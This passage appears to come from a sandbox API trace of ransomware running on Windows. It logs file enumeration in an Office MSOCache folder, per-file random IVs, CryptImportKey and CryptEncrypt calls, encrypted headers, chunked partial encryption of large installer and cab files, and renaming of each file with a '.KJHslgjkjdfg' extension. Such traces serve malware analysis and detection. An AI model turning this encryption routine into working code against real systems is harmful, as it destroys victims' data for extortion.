lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0161.200] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.201] GetProcessHeap () returned 0x990000 [0161.201] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0161.201] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0161.201] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0161.201] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x6, lpOverlapped=0x0) returned 1 [0161.203] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0161.204] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.204] GetProcessHeap () returned 0x990000 [0161.204] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0161.204] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29df4e0*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29df4e0*=0x50) returned 1 [0161.204] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.204] WriteFile (in: hFile=0x124, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29df4f8*=0x50, lpOverlapped=0x0) returned 1 [0161.204] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0161.204] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0161.204] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0161.204] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0161.204] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0161.204] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0161.205] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.205] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.205] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0xaec3a, lpOverlapped=0x0) returned 1 [0161.218] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xaec40, dwBufLen=0xaec40 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xaec40) returned 1 [0161.225] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.225] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0xaec40, lpOverlapped=0x0) returned 1 [0161.227] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.227] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xaed24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.227] SetEndOfFile (hFile=0x124) returned 1 [0161.230] GetProcessHeap () returned 0x990000 [0161.230] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0161.230] GetProcessHeap () returned 0x990000 [0161.230] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0161.230] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.kjhslgjkjdfg")) returned 1 [0161.231] CloseHandle (hObject=0x124) returned 1 [0161.231] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PrjProrWW.msi", cAlternateFileName="PRJPRO~1.MSI")) returned 1 [0161.231] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.233] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=10798080) returned 1 [0161.233] GetProcessHeap () returned 0x990000 [0161.233] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0161.233] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0161.233] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.233] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0161.233] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.233] GetProcessHeap () returned 0x990000 [0161.233] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0161.233] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0161.233] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.233] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0161.236] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0161.236] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0161.236] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0161.236] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0161.236] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0161.237] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0161.237] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.237] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.237] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.242] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.245] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.245] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.246] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa4c4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.246] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.246] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.246] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.252] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.255] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.255] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.256] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa4c4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.256] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.256] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.256] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.264] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.266] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.266] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.267] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa4c4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.267] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.267] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.267] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa4c4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.267] SetEndOfFile (hFile=0x124) returned 1 [0161.270] GetProcessHeap () returned 0x990000 [0161.270] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0161.270] GetProcessHeap () returned 0x990000 [0161.270] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0161.270] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.kjhslgjkjdfg")) returned 1 [0161.271] CloseHandle (hObject=0x124) returned 1 [0161.271] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PrjProrWW.xml", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0161.271] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.274] GetProcessHeap () returned 0x990000 [0161.274] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0161.274] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0161.274] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0161.274] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xb, lpOverlapped=0x0) returned 1 [0161.277] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0161.277] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.277] GetProcessHeap () returned 0x990000 [0161.277] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0161.277] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0161.277] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.277] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0161.277] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0161.277] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0161.277] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0161.277] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0161.277] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0161.277] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0161.277] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.277] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.278] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1915, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x1915, lpOverlapped=0x0) returned 1 [0161.278] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x1920, dwBufLen=0x1920 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x1920) returned 1 [0161.278] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.279] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x1920, lpOverlapped=0x0) returned 1 [0161.279] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.279] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x19f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.279] SetEndOfFile (hFile=0x124) returned 1 [0161.281] GetProcessHeap () returned 0x990000 [0161.281] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0161.281] GetProcessHeap () returned 0x990000 [0161.281] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0161.281] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.kjhslgjkjdfg")) returned 1 [0161.284] CloseHandle (hObject=0x124) returned 1 [0161.284] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0161.284] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.284] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=162970271) returned 1 [0161.284] GetProcessHeap () returned 0x990000 [0161.284] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0161.284] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0161.284] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.284] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f4*=0x1, lpOverlapped=0x0) returned 1 [0161.370] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0161.370] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.370] GetProcessHeap () returned 0x990000 [0161.370] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0161.370] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0161.370] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.370] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0161.371] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0161.371] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0161.371] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0161.371] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) 